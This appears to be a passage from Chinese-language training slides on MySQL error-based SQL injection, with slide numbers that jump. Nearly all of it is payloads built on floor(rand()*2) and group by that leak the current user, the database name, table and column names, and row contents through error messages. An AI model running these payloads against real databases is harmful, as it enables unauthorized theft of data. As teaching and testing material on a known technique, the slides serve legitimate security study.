9. 如來神掌第101式
select count(*), concat('~',(select user()),'~', floor(rand()*2)) as a from
information_schema.tables group by a
select count(*),
concat('~',(select user()),'~',
floor(rand()*2)) as a
from information_schema.tables
group by a
19. 進階利用
● 查 database
○ select count(*), concat('~',(select database()),'~', floor(rand()*2)) as a
from information_schema.tables group by a
● 查 table name
○ select count(*),concat((select (select (SELECT distinct concat('~',
table_name,'~') FROM information_schema.tables Where
table_schema='db_name' LIMIT 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group
by a
20. 進階利用
● 查 column name
○ select count(*),concat((select (select (SELECT distinct concat('~',
column_name,'~') FROM information_schema.columns Where
table_schema='db_name' LIMIT 1,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group
by a
● 查 row
○ select count(*),concat((select(select concat(concat('~',
column_name,'~'))) from db_name.table_name limit 1,1),floor(rand(0)
*2)) as a from information_schema.tables group by a